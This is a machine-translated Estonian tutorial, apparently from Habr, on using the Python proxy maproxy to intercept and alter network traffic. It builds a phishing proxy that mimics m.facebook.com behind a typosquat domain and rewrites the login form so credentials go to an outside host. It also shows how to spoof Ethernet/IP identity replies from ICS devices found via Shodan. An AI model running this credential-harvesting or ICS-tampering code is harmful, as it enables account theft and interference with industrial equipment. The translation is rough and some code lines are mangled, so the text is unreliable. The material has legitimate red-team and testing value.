Artikli tÔlge valmis kursuse alguse eelÔhtul .

KokkuvÔte
Erinevat tĂŒĂŒpi turbehinnangud, alates tavapĂ€rasest lĂ€bitungimistestist ja Red Teami operatsioonidest kuni asjade Interneti/ICS-seadmete ja SCADA-ni hĂ€kkimiseni, hĂ”lmavad töötamist binaarsete vĂ”rguprotokollidega, st sisuliselt vĂ”rguandmete pealtkuulamist ja muutmist kliendi ja sihtmĂ€rgi vahel. VĂ”rguliikluse nuusutamine ei ole keeruline ĂŒlesanne, kuna meil on sellised tööriistad nagu Wireshark, Tcpdump vĂ”i Scapy, kuid muutmine nĂ€ib olevat töömahukam ĂŒlesanne, kuna meil peab olema mingi liides vĂ”rguandmete lugemiseks, filtreerimiseks ja muutmiseks. see lennult ja saatke see peaaegu reaalajas sihtrĂŒhmale tagasi. Lisaks oleks ideaalne, kui selline tööriist töötaks automaatselt mitme paralleelse ĂŒhendusega ja oleks skriptide abil kohandatav.
Ăhel pĂ€eval avastasin tööriista nimega , tegi dokumentatsioon mulle selle kiiresti selgeks maproxy - just see, mida ma vajan. See on ĂŒsna lihtne, mitmekĂŒlgne ja hĂ”lpsasti konfigureeritav TCP-puhverserver. Testisin seda tööriista mitmes ĂŒsna keerukas rakenduses, sealhulgas ICS-seadmetes (mis genereerivad palju pakette), et nĂ€ha, kas see saab hakkama paljude paralleelsete ĂŒhendustega, ja tööriist toimis hĂ€sti.
See artikkel tutvustab teile vÔrguandmete kiiret töötlemist maproxy.
Vaadata
Vahend maproxy pĂ”hineb Tornadol, Pythoni populaarsel ja kĂŒpsel asĂŒnkroonsel vĂ”rguraamistikul.
Ăldiselt vĂ”ib see töötada mitmes reĆŸiimis:
TCP:TCP- krĂŒptimata TCP-ĂŒhendused;TCP:SSLĐžSSL:TCPâ ĂŒhesuunalise krĂŒptimisega;SSL:SSL- kahesuunaline krĂŒptimine.
See tuleb raamatukoguna. Kiireks alustamiseks vÔite kasutada nÀidisfaile, mis kajastavad peamist :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
Juhtum 1 â lihtne kahesuunaline puhverserver
PÔhineb tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() Vaikimisi ProxyServer() vĂ”tab kaks argumenti â ĂŒhenduse asukoht ja sihtport. server.listen() vĂ”tab ĂŒhe argumendi - sissetuleva ĂŒhenduse kuulamise porti.
Skripti tÀitmine:
# python tcp2tcp.py Testi kĂ€ivitamiseks loome puhverserveri skripti kaudu ĂŒhenduse kohaliku SSH-serveriga, mis kuulab 2222/tcp porti ja ĂŒhendub standardpordiga 22/tcp SSH serverid:

TervitusbÀnner teavitab teid, et meie nÀidisskript on edukalt vÔrguliiklust puhverserveris edastanud.
Juhtum 2 â andmete muutmine
Veel ĂŒks demo skript logging_proxy.py ideaalne vĂ”rguandmetega suhtlemiseks. Faili kommentaarid kirjeldavad klassi meetodeid, mida saate oma eesmĂ€rgi saavutamiseks muuta:

KÔige huvitavam on siin:
on_c2p_done_readâ andmete pealtkuulamiseks teel kliendilt serverisse;on_p2s_done_read- vastupidine.
Proovime muuta SSH bÀnnerit, mille server kliendile tagastab:
[âŠ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[âŠ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[âŠ]KĂ€ivitage skript:

Nagu nÀete, eksitati klienti, kuna tema jaoks muudeti SSH-serveri nimi «DumnySSH».

3. juhtum â lihtne andmepĂŒĂŒgi veebileht
Selle tööriista kasutamiseks on lÔputult palju vÔimalusi. Seekord keskendume millelegi praktilisemale Red Teami operatsioonide poolelt. Imiteerime sihtlehte m.facebook.com ja kasutage kohandatud domeeni tahtliku kirjaveaga, nÀiteks m.facebok.com. Demonstreerimiseks oletame, et domeen on meie poolt registreeritud.
Loome krĂŒptimata vĂ”rguĂŒhenduse oma ohvrite puhverserveri ja SSL-vooga Facebooki serverisse (31.13.81.36). Selle nĂ€ite toimimiseks peame asendama HTTP hosti pĂ€ise ja sisestama Ă”ige hostinime ning keelame ka vastuse tihendamise, et saaksime sisule hĂ”lpsasti juurde pÀÀseda. LĂ”ppkokkuvĂ”ttes asendame HTML-vormi nii, et sisselogimismandaadid saadetakse Facebooki serverite asemel meile:
[âŠ]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[âŠ]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/et/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[âŠ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[âŠ]KokkuvĂ”ttes:

Nagu nÀete, suutsime algse saidi edukalt asendada.
Juhtum 4 â Etherneti/IP portimine
Olen juba mĂ”nda aega tegelenud tööstusseadmete ja tarkvaraga (ICS/SCADA), nagu programmeeritavad kontrollerid (PLC), I/O moodulid, ajamid, releed, redelprogrammeerimiskeskkonnad ja palju muud. See ĂŒmbris on neile, kellele meeldivad tööstuslikud asjad. Selliste lahenduste hĂ€kkimine hĂ”lmab aktiivset vĂ”rguprotokollidega mĂ€ngimist. JĂ€rgmises nĂ€ites tahaksin nĂ€idata, kuidas saate muuta ICS/SCADA vĂ”rguliiklust.
Selleks vajate jÀrgmist.
- vÔrgu nuusutaja, nÀiteks Wireshark;
- Ethernet/IP vÔi lihtsalt SIP-seade, leiate selle Shodani teenuse abil;
- Meie skript pÔhineb
maproxy.
KĂ”igepealt vaatame, milline nĂ€eb vĂ€lja tĂŒĂŒpiline CIP-i (Common Industrial Protocol) identifitseerimisvastus:

Seadme identifitseerimine toimub Ethernet/IP-protokolli abil, mis on tööstusliku Etherneti protokolli tÀiustatud versioon, mis hÔlmab juhtprotokolle nagu CIP. Muudame esiletÔstetud ID-nime, mis on ekraanipildil nÀhtav "NI-IndComm Etherneti jaoks" kasutades meie puhverserveri skripti. VÔiksime skripti uuesti kasutada logging_proxy.py ja samamoodi muuta klassi meetodit on_p2s_done_read, sest soovime, et kliendil oleks nÀha teistsugune identiteedinimi.
Kood:
[âŠ]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[âŠ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[âŠ]
Sisuliselt kĂŒsisime seadme tuvastamist kaks korda, teine ââvastus oli algne ja esimest muudeti kĂ€igu pealt.
Ja viimane
Minu arvates maproxy Mugav ja lihtne tööriist, mis on kirjutatud ka Pythonis, nii et usun, et ka teile on selle kasutamisest kasu. Muidugi on vĂ”rguandmete töötlemiseks ja muutmiseks keerukamaid tööriistu, kuid need nĂ”uavad ka rohkem tĂ€helepanu ja on tavaliselt loodud konkreetse kasutusjuhu jaoks, nt. , vĂ”i kolmandaga sarnaste juhtumite puhul vĂ”i viimase juhtumi jaoks. Ăhel vĂ”i teisel viisil, abiga maproxy saate kiiresti rakendada oma ideid vĂ”rguandmete pealtkuulamiseks, kuna nĂ€idisskriptid on vĂ€ga selged.
Allikas: www.habr.com
